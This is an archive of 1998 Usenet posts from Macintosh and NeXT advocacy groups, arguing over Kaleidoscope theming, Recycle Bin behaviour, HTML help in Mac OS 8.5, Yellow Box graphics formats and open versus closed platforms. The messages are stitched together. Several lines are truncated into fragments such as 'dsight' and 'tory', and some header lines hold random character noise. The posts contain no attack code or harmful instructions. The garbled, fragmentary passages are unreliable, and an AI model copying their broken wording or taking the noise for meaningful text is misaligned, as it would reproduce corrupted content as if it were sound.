Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 12:21:23 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142> <6su2uc$5mq$1@birch.prod.itd.earthlink.net> <kms-0609981137550001@dialinuser190.norfolk-county.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <kms-0609981137550001@dialinuser190.norfolk-county.com>,
kms@norfolk-county.com (K. Sebring) wrote:
> Kaleidoscope. I can change *every little thing* about the appearance of
> the OS. If you don't believe me, i'll send you a screenshot that is an
> almost exact replica of Windows 95.
hmmm, I am not familiar with this. You can change every little thing?
what about big things, such as the menubar at the top? Can you customize
it so it is a replica of openstep 4.2 interface?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 12:25:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <9UuI1.1224$2s.1206519@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> >3) If you put a folder hierachy in the wastebasket, windoze forgets which
> >folder each item was in.
>
> Not true. If you drag a folder to the Recycle Bin, and restore that folder,
> all contents go back to their original location. What are you talking about?
From my limited use of windows I know what he is talking about.
Mac: say I have 3 folders, each with about 100 items in the trash. "todo"
in folder 2, path 2/thingstodo/today was not meant to be thrown away. On
the mac, everything is in the same folders etc. On windows, their would
be 300 files you have to wade through to get to it
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 1998 20:01:02 GMT
Organization: Primenet (602)416-7000
Message-ID: <6suplu$rqm$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134>
Lawson English <english@primenet.com> wrote:
: John Heaney <heaney@SolidObject.com> said:
: >I would prefer holding down the Control key while clicking on an iconic or
: >textual representation of "command" and have that bring up a hyper linked
: >system of navigating through all the related documentation. And then when
: >I want to execute the command, I want the computer to lead me through all
: >the steps, circling all the places I have to click with big red virtual
: >ink. Lo and behold that's what I get with the Mac OS GUI.
: But will it survive the transition to HTML-based help that MacOS 8.5
: brings?
I'd ask:
Q1: Is "circling the right places" possible for more than the most common
actions?
Q2: Even if the help system could circle the right thing, wouldn't you
like to know why?
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 6 Sep 98 13:45:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B218428C-D886F@206.165.43.134>
References: <Eys0Cz.9DC@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>
>> applied (this appears to be a BIG selling point of Adobe's new K2 app,
so
>> apparently even Adobe appears to believe that the PDF model is too
>> limiting).
>
> Hardly evidence of that, it's based on their unified PDF imaging engine.
BTW, the report of K2 that *I* saw said that it *exports* PDF but uses its
own internal file format. This makes sense if they retain the textness of
text with 3D perspective (or extrustion, whatever that "text with depth"
comment in the report meant), not to mention any other features that go
beyond the PDF model.
I'm guessing that K2 DOES provide transparency control with editable text
and graphics, which PDF doesn't provide for, and I'll bet that there are
lots of other things that are done internally that the PDF format simply
doesn't know about. Given that we *already* have an example of a graphics
system that allows 3D perspective and transparency/non-opaque text/graphics
manipulation during pre-press, we shouldn't let the political realities of
Apple and Adobe prevent us from sharing high-end graphics that go beyond
the capabilities of Apple's blessed print-file format.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net> <9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
<6sld5m$t65$1@holly.prod.itd.earthlink.net>
Message-ID: <12FH1.3288$MS.8380359@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 22:49:33 GMT
NNTP-Posting-Date: Thu, 03 Sep 1998 15:49:33 PDT
Organization: @Home Network
In <6sld5m$t65$1@holly.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rr6013@yahoo.com wrote:
>
> >Wishful thinking those factoids are today. Apple pissed away superiority
y in
> >their self-absorbed complacency towards their markets.
>
> While true, this doesn't, however, change the fact that Apple had its best
t years
> while being "closed" *but* with superior technology.
>
See, I don't get this? In the face of reality and the benefit of 20/20
dsight, why is it so attractive to commit Apple to the same mistakes over
gain? What is this a death wish?
OK, line up all the Mac lemmings! They are going to close their OS, create
"insanely great" products with superior technology. AND you can "bet your
company" on Apple software being resident aliens in the connected world of
the world wide web.
> So the issue is not whether one uses "open" standards but whether one has
> distinct advantages people are willing to pay for. Case in point in the
0s:
> Microsoft.
>
>
Aggh shit, I give up. If you think MS earned their marketshare with
ct advantages people were willing to pay for, you were asleep at the mouse
during the 90's. Apple built a moat around their platform and technologies
while MS opened up to all comers willing to use their OS. The rest is
tory.
But go ahead, jump into your own self made coffin with Apple. You want it
so bad.
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
<640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
<_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com> <rmcassid-0309980900260001@hephaestus.eng.uci.edu>
Message-ID: <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 23:00:16 GMT
NNTP-Posting-Date: Thu, 03 Sep 1998 16:00:16 PDT
Organization: @Home Network
In <rmcassid-0309980900260001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <rmcassid-0209981548340001@hephaestus.eng.uci.edu> Robert Cassidy
te:
> >>
> >> The platform is the unifying element for the user.
> >>
> >This is where maybe academia and industry diverge...
> >
> >What would happen if you weren't so platform/technology dependent (ie.
S,
> >T, etc...)?
>
> The university is _incredibly_ diverse - far more so than any company I've
> ever run across. For solutions that span this environment we look for
> technology independent solutions. But the people that get paid the most
> here and anywhere else that I've looked are the users, not the people that
> write the training manuals. I'd much rather maximize the efficiency of a
> user that makes $100k than a trainer that makes $30k.
>
> And I don't see how you can get past the platform training anyway. When an
> app has it's own tools and you have 6 apps, you are then training for 6
> color pickers, 6 scripting environments, 6 of everything. Most people
> would conclude that there are only 2 platforms, though...
>
>
We've come full circle, now. Exposed is the myth that industry wants Open
Soutions. Revealed is the reality that its the Platform Stupid. To wit:
Microsoft continues to dominate irregardless...
Excellent points which flush this thread to its conclusion... what does
at mean? Microsoft Windows is "natural law" in the universe of desktop
tems. Unless you've got an argument for maintaining a Mac publishing system
AND a Windows office computer.
-r
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: New help in MacOS 8.5 and X (was Re: Heidi on Heidi (Was...
Date: Sun, 06 Sep 1998 15:32:46 -0600
Organization: Stone Entertainment
Message-ID: <stone-0609981532460001@rc-pm3-1-17.enetis.net>
References: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org> <B2182199-5CA62@206.165.43.134>
In article <B2182199-5CA62@206.165.43.134>, "Lawson English"
<english@primenet.com> wrote:
> Jason S. <jason@jhste1.dyn.ml.org> said:
>
> >
> >The fact that it takes 10X as long to point and click your way through
> >simple things versus a CLI/text file interface doesn't bother you? If
> >the interface is so bizarre that I need the machine to circle things
> >with a virtual red marker so that I can figure out how to do anything,
> >I'm not sure that I want that I want to use it.
>
> Have you ever trained an new iMac user to use the computer. I haven't yet,
> but I've trained hundreds of newbie oldMac users and a lot of them are so
> afraid of the computer that even with the big red circle, they are afraid
> to do what the help-screen says without some hand-holding at first.
>
> I'm *quite* concerned that the transition to HTML-based help is motivated,
> not by testing of newbies on how well they work with HTML-based hypertext
> compared to red circles around buttons, but by the preference of the
> current Apple management, who haven't worked on producing a computer
> suitable for my 82-year-old mother to use since NeXT was founded.
The switch to an HTML based help guide is intended to aid software
developers and I think it is a very smart move that will prove to aid the
end user as well. The AppleGuide is arguably superior to Window95's
standard help system, however it has to be programmed for and if a
deverloper wants to distribute his AppleGuide outside his application it
isn't in a form that you or I can read until we put it into our
Extension's folder and reboot our systems. Now developers can have a help
guid that is integrated into the operating system as well as readable
outside of the application or in any environment that translates HTML
code. HTML is just a better solution for application help guides.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: New help in MacOS 8.5 and X (was Re: Heidi on Heidi (Was...
Date: Sun, 6 Sep 1998 15:39:23 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6sv388$kcn$1@nnrp2.snfc21.pbi.net>
References: <slrn6v39uj.4u0.jason@jhste1.dyn.ml.org> <B2182199-5CA62@206.165.43.134> <alex-0609981351280001@castle.webis.net>
Alex Kac wrote in message ...
>The HTML based help, on the other hand, is searchable with V-TWIN, large
>format, fast, and is really easy to use. Plus its integrated with
>AppleGuide so you still get those coachmarks where its applicable.
Plus keep in mind that while HTML may not provide all the bells and
wistles of AppleGuide, it has the advantage that Web browsers are
becomming a defacto user interface standard for reading large on-line
documents--and so is familiar to a large number of people, including
computer novices.
HTML is easier to author as well, and is portable. And you can even
post your on-line documentation on your web site so that people who
visit your web page can review your documentation.
- Bill Woody
The PandaWave
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net>
Subject: Re: What we need from Mac OSuX
Message-ID: <82HI1.1591$2s.1694532@newsfeed.slurp.net>
Date: Mon, 07 Sep 1998 01:55:16 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 18:55:16 PDT
Organization: Slurp News Feeds
Steve Sullivan wrote in message ...
>> Not true. If you drag a folder to the Recycle Bin, and restore that
folder,
>> all contents go back to their original location. What are you talking
about?
>
>From my limited use of windows I know what he is talking about.
>Mac: say I have 3 folders, each with about 100 items in the trash. "todo"
>in folder 2, path 2/thingstodo/today was not meant to be thrown away. On
>the mac, everything is in the same folders etc. On windows, their would
>be 300 files you have to wade through to get to it
I'm still not totally clear on either of your explanations.
If I drag a folder called "Junk" to the Recycle Bin which has 100 files in
it, and I open the Recycle Bin I will see a folder named "Junk".
...I can send you a screen shot if you wish. Unless you are talking about
something else.
Dan
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <645346C45E37D211ACDC006097D1798C8452A3@news.telebahia.net.br>
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Date: 07 Sep 1998 00:11:22 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: hith4756@aol.com
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From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Sun, 6 Sep 1998 19:38:27 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6sva1t$12381@odie.mcleod.net>
References: <B2182238-5EFDA@206.165.43.134> <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
From: Michelle L. Buck <buck.erik@mcleod.net>
Subject: File interchange formats
Date: Sunday, September 06, 1998 4:26 PM
Standard file interchange formats are a good thing!
For the sake of future discussion we should all agree to the following
statements:
1) XML has a lot of promise and Microsoft is behind it. Of course, they may
find a way to make it proprietary and/or introduce so many bugs that the
standard is useless for interchange (a la RTF).
2) Openstep/Rhapsody already has an excellent standard format for binary
archives of arbitrary graphs of objects. The NSCoder/NSArchiver classes
handle all issues pertaining to circular references (cycles) and conditional
encodings and byte order and built in types.
3) A variation of NSCoding that allows the use of UNICODE property
identifiers enables the same archiving of arbitrary graphs of objects into a
human readable UNICODE file.
4) A variation of NSCoding could produce XML documents.
5) Anything that can be represented by a software object can have its
representation stored/streamed with any of the NSCoding variations mentioned
thus enabling persistence, transmission, and standard structure for an open
ended set of data.
Now, specifically regarding graphical file interchange we should all agree
with the following statements:
1) The NSBezierPath class is capable of representing all 2D graphical shapes
any reasonable person would create. Such shapes include text outlines,
discontinuous shapes, open shapes, concave shapes, convex shapes, shapes
with as few as one point, shapes with 100,000 points, shapes with quadratic
bezier curves, etc. NSBezierPath encapsulates all vector image
descriptions.
2) The NSImage class is capable of storing and rendering Tiff, EPS, PNG,
BMP, and other image formats. NSImage inter-operates with an object
framework that enables seamless automatic conversion of image formats as
needed. NSImage encapsulates all raster image descriptions.
3) The NSAffineTransormation class stores all possible affine
transformations including any combination of translation, rotation, and
scaling in any order. All possible 2D transformations are thus supported.
NSAffineTransformation encapsulates all transformations of raster or vector
image descriptions.
4) Any NSBezierPath or NSImage can be transformed into another NSBezierPath
or NSImage via a NSAffineTransformation.
5) Any NSImage or NSBezierPath instance can be clipped by any NSBezierPath
including text outlines.
6) The NSColor class encapsulates RGB, BW, BWA, RGBA, CMYK, HSB, Pantone, or
custom color definitions. NSColor instances can represent multiple color
spaces simultaneously (e.g. RGB and Pantone) and can convert form one color
space to another with some limitations. Of special note is NSColor's
handling of arbitrary transparency via an alpha channel. Any pixel in a
NSImage and any NSBezierPath can be rendered with any NSColor.
7) Any NSBezierPath can be rendered with any combination of shared or unique
attributes including color, line style, line join, end cap, width, and
others. Each attribute can be encapsulated in its own class.
8) NSBezierPaths can be joined, intersected, union-ed, xor-ed, overlapped,
differenced, merged, whatever. Any path can be rendered along any other
path. Text can be rendered along a path. Interesting line styles can be
created by rendering a repeating pattern (a path) along a path. (Note:
Apple has not promised this capability. However, my company has already
produced the EBUserPath class with all of these capabilities, and so can
Apple. Apple has already read our minds and copied our undo, document, and
ruler, classes. I suspect we have a mole in our organization ;-)
9) All coordinates are stored as 32 bit floats or 64 bit doubles and exist
in a virtual coordinate system defined by a NSAffineTransformation. An
identity transformation results in one unit length being equal to 1/72 inch.
This provides device independence from rendering to film to rendering to
billboards.
10) Users are free to create their own classes and make composites,
collections, trees, or whatever out of the Apple provided classes. One
example is an object that clips all of its nested children to a path.
Another is an object that forces all of its children to render in black and
white regardless of their color preference. (Note: As currently
implemented, binary encodings can not be reconstituted by programs that do
not have access to the definitions of all classes encoded. [Otherwise the
decoder does not know how many bytes to read] This is not a problem for
ubiquitous Apple provided classes but is a problem for custom classes.
Fortunately, the UNICODE encodings do not have this limitation.)
Now, taking both sets of statements, the following information can be
deduced:
1) Any graphical rendering of arbitrary complexity can be encoded into a
binary or human readable UNICODE or XML data stream by any application and
reconstituted in another application.
2) Human readable UNICODE encodings can be parsed, edited, transformed,
copied, scripted, and/or generated by any UNICODE capable text editor.
3) Efficient binary encodings are available.
4) Client/server systems that arbitrarily store information on the client
side or the server side as desired are possible.
5) Every Yellow Box application can have all drawing capabilities discussed
above.
Final note:
I have not even mentioned the NSText class cluster yet. Text flows, spell
checking, find, replace, UNICODE, kerning, super/sub scripting, etc. are all
available.
Best of all, these classes inter-operate, can be subclasses and specialized,
and co-exist with all of the non-graphical objects in an application. For
example, NSBezierPath instances can be stored in an instance of EBBinaryTree
or an instance of NSMutableArray or an instance of NSDictionary or all of
the above simultaneously.
All of the objects described above can be rendered into any NSView or any
NSImage.
Really final note for Mr.. English. All of this has been possible since
1988 with NeXTstep and in fact several of my our applications have taken
advantage of it. The fact that Mr.. English has stated at one time or
another that everything described above is not possible does not change the
facts. The Fact that Mr.. English comments out of utter ignorance and still
to this day has not bothered to check the facts or heaven forbid try to use
these features astonishes me. After typing all of this, I begin to wonder
why I waste my time educating potential competitors.
Date: Sun, 06 Sep 1998 17:54:15 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <stevehix-0609981754160001@192.168.1.10>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <slrn6uugb2.26p.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35F03240.EFCA4EBD@ericsson.com> <6stdr0$919$1@msunews.cl.msu.edu>
Organization: Close to None
In article <6stdr0$919$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> In <35F03240.EFCA4EBD@ericsson.com> Michael Peck wrote:
> > Matt Kennel wrote:
> >
> > > In other words, Sun did not choose between hardware and software.
>
> Yes but I think Michael pointed out that Sun has
>
> SMCC is a hardware platform company. SunSoft, Inc. is a software
> company.
Not any more...the "planetary" organizational structure is being
done away with (if it isn't quite gone yet), at the very least
greatly reduced.
> Apple has no such division, which is sorely needed IMO.
It has some advantages, some disadvantages. (Trust me, I know from
long working experience.)
> > > and that Solaris x86 is wilting under neglect.
> >
> > This is not fair in the least. Solaris x86 is a crown jewel for Sun,
Suuure it is.
> > even though most people don't know it. Sun has continued to ship the
> > product year after year, despite disappointing sales. Most other
> > companies (like Apple, for instance) would have dropped it long ago.
> > Sun knows what it's doing because it sees the transition coming.
They do because it is a check-off item.
> Yes I agree Sun knows that eventually the x86 line will be where it's at.
Hardly. They're looking at Merced (at this point, more strictly at Merced's
follow-on) as a potential potential future backup.
There is *no* interest in switching from SPARC to x86...no point in taking
two steps back.
> They are building legacy there. They are also probably hoping that
> when merced transitions that x86 legacy issues will be nicely addresed.
Given the differences between the old (x86) and new (Merced) architectures,
current x86 work is probably less useful than you might think.
From: macman@rochester.rr.com (Stephen Rea)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Mail-Copies-To: macman@rochester.rr.com
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <macman-0609982059000001@d185d1c66.rochester.rr.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com>
Organization: Jessi Group, Inc.
Date: Mon, 07 Sep 1998 00:55:37 GMT
NNTP-Posting-Date: Sun, 06 Sep 1998 20:55:37 EDT
In article <35D8C744.5F35DF26@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> > Did you also build your own car? Was it easier than buying one
> > pre-assembled?
>
> I was about to say, "A computer isn't really like a car at all", but
> then I realized that some people actually disagree.
Thousands of complicated parts doing ghod know what, and no one cares how
they work, just that they do.
Yep, sounds pretty simillar.
--
Stephen Rea
Mac System Engineer America Online SoundBytes Radio
Jessi Group, Inc. Mac Forum Consultant www.soundbytes.org
716-624-1920 AFC Rea WXXI-AM Rochester, NY
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Fri, 04 Sep 1998 00:47:10 +0000
Organization: BM
Message-ID: <6snqve$4dl$1@fir.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net>
<rmcassid-3108981302170001@hephaestus.eng.uci.edu>
<6sistm$5j3$1@fir.prod.itd.earthlink.net>
<h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
<6sl4s4$bsl$1@ash.prod.itd.earthlink.net>
<9CpH1.3254$MS.7958045@news.rdc1.sdca.home.com>
<6sld5m$t65$1@holly.prod.itd.earthlink.net>
<12FH1.3288$MS.8380359@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
rr6013@yahoo.com wrote:
>See, I don't get this? In the face of reality and the benefit of 20/20
>dsight, why is it so attractive to commit Apple to the same mistakes over
>gain? What is this a death wish?
Let's see, QuickTime is not "open" (I assume you'd say) yet it's perhaps the
most widely used digital video format on any platform. AppleScript is not "open"
yet a goodly portion of the academia and publishing live on it. ColorSync is not
"open" yet it's by far the most popular color matching system anywhere. Java or
Win32 API are not "open" either (as they are owned fully by Sun and MS) yet they
are quite popular.
When SGI was the practically the only company making high-bandwith boxes with
fast graphics systems, despite being "locked into" IRIX and MIPS, it was very
successful, even though it was very exclusive and expensive.
On the other hand, VRML *is* an "open" standard, yet no one really uses it. HTML
*is* an "open" standard yet IE and Communicator are INcompatible in more ways
than I care to cite here.
So what is "open" and what gets adopted/popular are too different things. It's
entirely possible to be completely "open" and go bankkrupt, as it is to be not
"open" and do very well (Apple in the 80's). A company's ability to screw things
up has nothing to do with being "open." It has everything to do with making
products with sufficient distinction and advantage that people are willing to
purchase them. That's the only thing that counts in the end.
So this "open" bandwagon is just that, a bandwagon. We'll see what happens to
Linux, for instance, when the time comes to go mainstream. There are already
fairly severe conflicts within that community as to what stays "open" and what
goes "commercial."
Apple is a $6+ billion company. Open source and being just another follower of
the "open" standards is a losing business proposition. Apple has to get back to
a position of strength to be able to set standards as opposed to simply follow
them.
Ziya Oz
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 6 Sep 98 17:27:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21882EA-3A2A@206.165.43.166>
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>What does binary or text have to do with this question?
>
>What matter is a simple regular grammar which is easily parsable by
>fast, robust, algorithms, with useful semantics form-fitted to match.
>
>Binary, text, shminary, whatever.
Well, it's faster to access if it is in binary format. It is also smaller,
albeit less portable and isn't directly human-readable, but if you have a
well-defined binary format, conversion to the human-readable one isn't an
issue.
Regardless...
What would be a suitable internal format for transfering images between YB
apps? Do you agree that the standard PDF format is inappropriate for use as
the sole internal format for exchanging images between YB apps?
Why or why not?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Sun, 06 Sep 1998 21:32:35 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <joe.ragosta-0609982132360001@elk66.dol.net>
References: <*johnnyc*-0509981018140001@jchristie.halifaxcable.dal.ca> <B21760D8-A78A@206.165.43.97> <joe.ragosta-0609980735250001@elk72.dol.net> <6suk5g$l0j$1@nnrp1.snfc21.pbi.net>
In article <6suk5g$l0j$1@nnrp1.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> Joe Ragosta wrote in message ...
> >However, you can download all the information for free. So there's no $500
> >minimum.
>
> Not with respect to Rhapsody. That only comes with the Apple
> Developer Connection Seeding program, and you qualify for that
> only if you have paid support, and have signed your life away
> through an NDA.
OK. Thanks for the information.
Any indication on whether this will change once Rhapsody is actually shipping?
I can understand the need for secrecy before the OS ships. Once it's out
the door, the need for secrecy should decline.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <1998090701540400.VAA23513@ladder03.news.aol.com>
Date: 7 Sep 1998 01:54:04 GMT
Organization: AOL http://www.aol.com
References: <B2187B86-2132B9@153.36.240.74>
Yes, but the bottom line is that Kaleidoscope can only alter the _appearance_
of the system, and can do nothing to alter the _functionality_.
Show me a way in Kaledoscope to provide a top level menu entry, with global
keyboard shortcut for "Hide application" and I'll register Kaleidoscope and
install it on my Mac at work.
